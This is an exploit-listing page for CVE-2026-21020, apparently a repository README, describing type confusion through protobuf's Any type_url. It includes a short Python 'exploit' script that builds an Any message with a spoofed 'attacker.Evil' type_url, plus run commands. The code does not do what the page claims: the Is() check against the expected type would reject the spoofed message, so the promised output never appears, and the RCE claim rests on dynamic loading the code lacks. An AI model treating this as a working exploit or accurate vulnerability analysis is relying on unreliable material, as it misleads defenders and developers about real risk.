Sploitus

Exploit for CVE-2026-21020

githubexploit · 2026-08-04

Exploit Code

README46 lines
## https://sploitus.com/exploit?id=2727C6A7-C28F-57DB-A5C4-31A9FB64684B
---

## CVE-2026-21020 – Protobuf Message Parsing Polymorphic Deserialization Vulnerability

### Program Code (Python with protobuf)

```python
# proto_vuln.py - Insecure handling of Any type
import addressbook_pb2  # Example protobuf

# Simulated deserialization that trusts an injected type_url
from google.protobuf import any_pb2

any_msg = any_pb2.Any()
any_msg.type_url = "type.googleapis.com/attacker.Evil"
any_msg.value = b'\x0a\x05admin'  # serialized payload

# Application unpacks to expected type but could instantiate arbitrary class if using dynamic loading
if any_msg.Is(addressbook_pb2.Person.DESCRIPTOR):
    person = addressbook_pb2.Person()
    any_msg.Unpack(person)
    print("Person unpacked, but type_url was spoofed!")

```

# CVE-2026-21020 – Protobuf Polymorphic Deserialization via Any

![Severity: Critical](https://img.shields.io/badge/severity-critical-red)

## Overview
A service uses Protocol Buffers’ `Any` type to encapsulate messages and dynamically unpacks them using the `type_url` field without validating the expected type. An attacker can send a message with a crafted `type_url` that points to a dangerous message class (or an unintended one), causing logic bugs or code execution.

## Vulnerability Details
- **Type:** Deserialization of Untrusted Data / Type Confusion
- **Impact:** Potential RCE or privilege escalation.
- **Root Cause:** The server deserializes the payload based on the attacker‑controlled `type_url` without whitelisting.

## Exploit Demonstration
Run the simulation:
```bash
pip install protobuf
python proto_vuln.py
```

It shows that the Any type can be spoofed; if the code dynamically loads the class from type_url, it could lead to RCE.